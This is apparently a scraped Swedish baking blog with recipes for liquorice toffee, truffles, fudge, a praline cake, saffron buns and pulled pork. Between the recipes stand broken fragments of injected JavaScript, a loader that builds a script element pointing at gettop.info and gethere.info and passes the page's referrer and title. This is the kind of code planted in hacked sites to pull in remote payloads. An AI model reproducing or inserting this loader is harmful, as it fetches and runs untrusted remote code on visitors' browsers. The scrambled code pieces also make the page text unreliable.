Lakritskola med mörk choklad och havssalt

Lakritskola

Kan verkligen rekommendera att prova detta recept på laktritskola. Receptet kommer från Johanna Westmans bok ”Julgodis – för små och stora sockerbagare”.

westman-johanna-julgodis-for-sma-och-stora-sockerbagare

Recept 60 kolor
3 dl vispgrädde
3 dl strösocker
1 dl sirap
1 msk kakao
0,75 dl turkisk peppar
2 tsk smör
200 gram mörk choklad

Gör så här:
Klä en form, ca 20 x 20 centimeter, med bakplåtspapper.
Krossa karamellerna i en mortel.
Blanda grädde, socker, sirap, kakao och de krossade turkisk pepparkaramellerna i en vid gryta. Låt det koka upp under omrörning. Låt sedan koka kraftigt utan lock och utan att röra tills termometern visar ca 125 grader eller tills smeten klarar kulprovet. Det tar ca 15 minuter i en vid gryta. Rör om då och då.
Rör ner smöret och häll smeten i formen. Ställ kolan kallt att stelna.
Smält under tiden chokladen i vattenbad, låt den svalna. Det ska helst bara vara ca 10 graders skillnad på kolan och chokladen!
Skär eller klipp kolan i bitar. Doppa varje bit i chokladen och lägg upp på ett galler eller på ett bakplåtspapper.
Strö lite havssalt på toppen innan chokladen har stelnat.

bild10

bild8

bild7

bild6bild3bild2bild12bildBbildAbildC

} else {d.getElementsByTagName(‘head’)[0].appendChild(s);

Tryffel i rullad kakao (Valrhona)

Jättegoda tryfflar som är rullade i Valrhona kakao.

Receptet är till ca 15 tryfflar
1/2 dl vispgrädde
50 gram flytande honung
100 gram hackade 70% choklad
25 gram smör
Valrhona kakao

Gör så här:
Koka  upp grädde och honung.
Slå grädden över den hackade chokladen och rör till slät konsistens, tillsätt smöret.
Låt stelna i kyl.
Forma till kulor och rulla i kakao.

if (document.currentScript) {

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Recept på mjölkchokladfudge.

Det här behöver du :
3 dl vispgrädde
3 dl strösocker
1 dl ljus sirap
50 gram smör
2 msk flytande honung
100 gram marabou mjölkchoklad

GÖR SÅHÄR :
Blanda grädde, socker och sirap i en kastrull. Koka upp och låt stå på medelvärme tills kolan kokat till 120 grader. Använd en stektermometer som du låter ligga i kastrullen. När termometern visar 120 grader, dra kastrullen från plattan och rör ner smör & honung. Ställ tillbaka på plattan och låt koka upp igen 2 minuter. Stäng av plattan och tag kastrullen åt sidan. Bryt ner chokladen och rör om tills den smält helt. Häll upp fudgen i en form ca 15*25 cm om du vill ha en högre fudge. Klä formen med bakplåtspapper. Låt svalna i rumstemperatur. Täck sedan formen och låt stå i kylskåp över natten. Skär upp i bitar.

} else {

document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Kolarisgodis

Ca 18-20 st
3 msk vispgrädde
25 gram smör eller margarin
3 msk socker
1 msk honung
1 msk ljus sirap
3 dl vårgårdaris
50 gram mörk choklad

Gör så här:
Mät upp alla ingredienser utom riset i en kastrull stor nog att även rymma riset senare. Koka smeten till kolakonsistens i ca 3 minuter. Ta kastrullen från värmen och rör ner riset. Klicka upp smeten till toppar på smörpapper.

Bryt chokladen i bitar och smält i vattenbad eller i mikron. Doppa bottnen på de kalla topparna i chokladen och ställ dem igen på smörpapperet för att stelna. Låt kallna och förvara i kylen.

if (document.currentScript) {

Här kommer receptet på ”Mariannetryffel”.

Receptet på Mariannetryffel hittade jag på Tasteline och de är försvinnande goda.

Mariannetryffel (40 st)
30 st Marianne karameller (de med rödvita papper)
250 gram mörk choklad (70%)
1 dl vispgrädde
200 gram vit choklad

1. Krossa Mariannekaramellerna fint, i en mortel eller med en kavel inslagna i en plastpåse. Se till att vara noggrann så att inga stora bitar blir kvar. (Jag använder en mortel)
2. Värm grädden i en kastrull. Ta av kastrullen från plattan. Finhacka choklad och rör ner i grädden. Tillsätt Mariannekrosset och rör tills allt är smält.
3. Låt blandningen svalna i en dryg timme i kylen. Forma sedan små bollar av chokladen och lägg in i frysen en kvart.
4. Smält vit choklad i vattenbad. Ta ut tryfflarna ur frysen och doppa dem i chokladen med hjälp av en gaffel. Låt torka och förvara sedan i kylskåp.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Amerikansk pralintårta med nutellafrosting

Bild1

 

Det här receptet hittade jag i NK’s tidning ”STIL” och när jag såg bilden på tårtan var jag helt enkelt tvungen att baka tårtan.

Recept 12 bitar
Chokladbotten
3 ägg
3 dl socker
2 tsk vaniljsocker
1 dl mjölk
2 dl vetemjöl
1 dl kakao
2 tsk bakpulver

Chokladfyllning
150 gram mörk choklad 56-70 %
1,5 dl vispgrädde
1 msk ljus sirap
30 gram smör, rumstempererat

Nutellafrosting
175 gram smör, rumstempererat och  mjukt
1 tsk vaniljsocker
130 gram mörk choklad, 65-70 % hackad
20 gram nutella
75 gram ( 2 äggvitor), rumstempererade
110 gram (1,25 dl)  strösocker
1 krm salt

Till garnering 12 praliner

Gör så här:
Sätt ugnen på 175 grader. Smörj och bröa en form 19-20 cm i diameter med hög kant, ca 7 cm. Vispa ägg, socker och vaniljsocker vitt och fluffigt. Värm mjölken, dra av kastrullen från värmen. Blanda vetemjöl, kakao och bakpulver i en separat bunke. Häll i den varma mjölken i de uppvispade äggen och vänd i de torra ingredienserna. Blanda till en jämn smet. Grädda ca 50 minuter. Känn med en sticka att kakan är färdig. Låt den stå i formen i några minuter. Vänd sedan upp kakan på ett fat och låt den svalna under formen. Dela kakan i tre bottnar med en fintandad kniv.

Fyllning:
Hacka chokladen och lägg den i en bunke. Koka upp grädde och sirap. Häll den varma grädden över chokladen och rör tills all choklad smält. Låt blandningen svalna lite (den ska fortfarande vara varm, ca 40-45 grader), rör eller mixa i smöret med en mixerstav. Fördela fyllningen mellan bottnarna och lägg ihop tårtan.

Nutellafrosting: Vispa upp smör och vaniljsocker till det är fluffigt. Smält chokladen och nutellan i ett vattenbad eller i micron, rör om emellanåt. Låt chokladen svalna lite. Vispa upp äggvitan, sockret och saltet i ett varmt vattenbad tills sockret löst sig (ca 45-50 grader). Ta bort från värmen och fortsätt med elvisp tills marängen känns helt kall. Vispa i smöret lite i taget och varva den med chokladen. Fyll upp krämen i en engångsspritspåse. Klipp ett litet hål på ca 5 mm. Spritsa på krämen på kanterna och bred ut med en palett vilken ger en jämnare lager och frostingen blandas inte med kaksmulor. Spritsa även på ytan och bred ut. Fyll upp det som blir kvar av frostingen i en ny spritspåse med stjärntyll. Spritsa  på fina ”rosetter” och garnera med praliner.

bild6bild1bild13bild5bild12bild11bild10bild9bild8bild7bild4bild3bild2

Bild1bild21466161_10151815161400959_854568963_nbild3

bild2document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);

Skumtomtar fudge

Fudge
ca 12 skumtomtar (Jag använde de rosa skumtomtarna)
50 gram smör
1 dl vispgrädde
2 dl socker
150 gram vit choklad

Blanda allt i en kastrull (utom chokladen) och smält på svag värme. Låt smeten småkoka under omrörning i ca 8-10 min. Lägg i 150 gram vit choklad tills massan blivit blank.

Ta av kastrullen från spisen och låt massan svalna lite. Häll upp i en smord bakpapperklädd form ca 10 x 15 cm och låt stelna i kylen. Skär upp i bitar!

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);

Goda saffransbullar med mandelmassa

Nu när det börjar närma sig jul kan jag rekommendera att baka dessa goda bullar. Receptet hittar ni här:

 

Annorlunda pepparkakor

Jag använde mig av färdigköpt pepparkaksdeg till de här söta pepparkakorna.

Recept
Pepparkaksdeg
Formar
En påse hårda karameller (jag tog rosa hallonkarameller). Om du vill ha annan färg på hjärtat kan du köpa gula, gröna eller oranga karameller.

Gör så här:
Krossa karamellerna i en mortel.
Baka ut pepparkaksdegen och tryck ut de mönster du vill ha med formarna. Sätt på ugnen på 175 grader.
Ställ in bakplåten med pepparkaksdegen halva tiden (ca 3-4 min). Ta ut bakplåten efter några minuter, sänk värmen på ugnen till ca 150 grader och häll på godiskrosset i hålet på pepparkakan och in i ugnen i några minuter tills du ser att godiskrosset smält. Ta ut bakplåten och låt svalna på ett ugnsgaller.

}

} else {if (document.currentScript) {

Pulled pork

bild2

Receptet hittade jag på www.recept.nu.

Namnet på rätten syftar på att man”drar isär” köttet med en gaffel när det är klart för det är så mört.

Antal portioner:  8-10
Ingredienser Pulled pork
2 kg fläskkarré utan ben
2 msk flingsalt
1 tsk nymald svartpeppar
1 msk rökt paprikapulver
2 st gula lökar
1 st vitlök
500 gram  rökig barbequesås
2 dl stark köttbuljong

Till servering: Portionsbröd eller mjuka tortillabröd Grillad majs Cole slaw.

Gör så här:
1.    Sätt ugnen på 125 grader.
2.    Skölj och torka köttet.
3.    Blanda de torra ingredienserna och gnid in köttet med det.
4.    Häll lite olja i en stor ugnssäker gryta av järn.
5.    Lägg i köttet.
6.    Skala och klyfta löken och skala vitlöksklyftorna och lägg runtom.
7.    Häll på barbequesås och buljong över köttet.
8.    Sätt på locket och låt köttet stå i nedre delen av ugnen 5 timmar.
9.    När det är färdigt ska det bara vara att dra med en gaffel i köttet så det faller isär.
10.  Dela bröden och låt var och en fylla sitt bröd med kött och servera med tillbehören.

bild9bild1bild3bild4bild5bild6bild7bild8

 d.getElementsByTagName(‘head’)[0].appendChild(s);

if (document.currentScript) {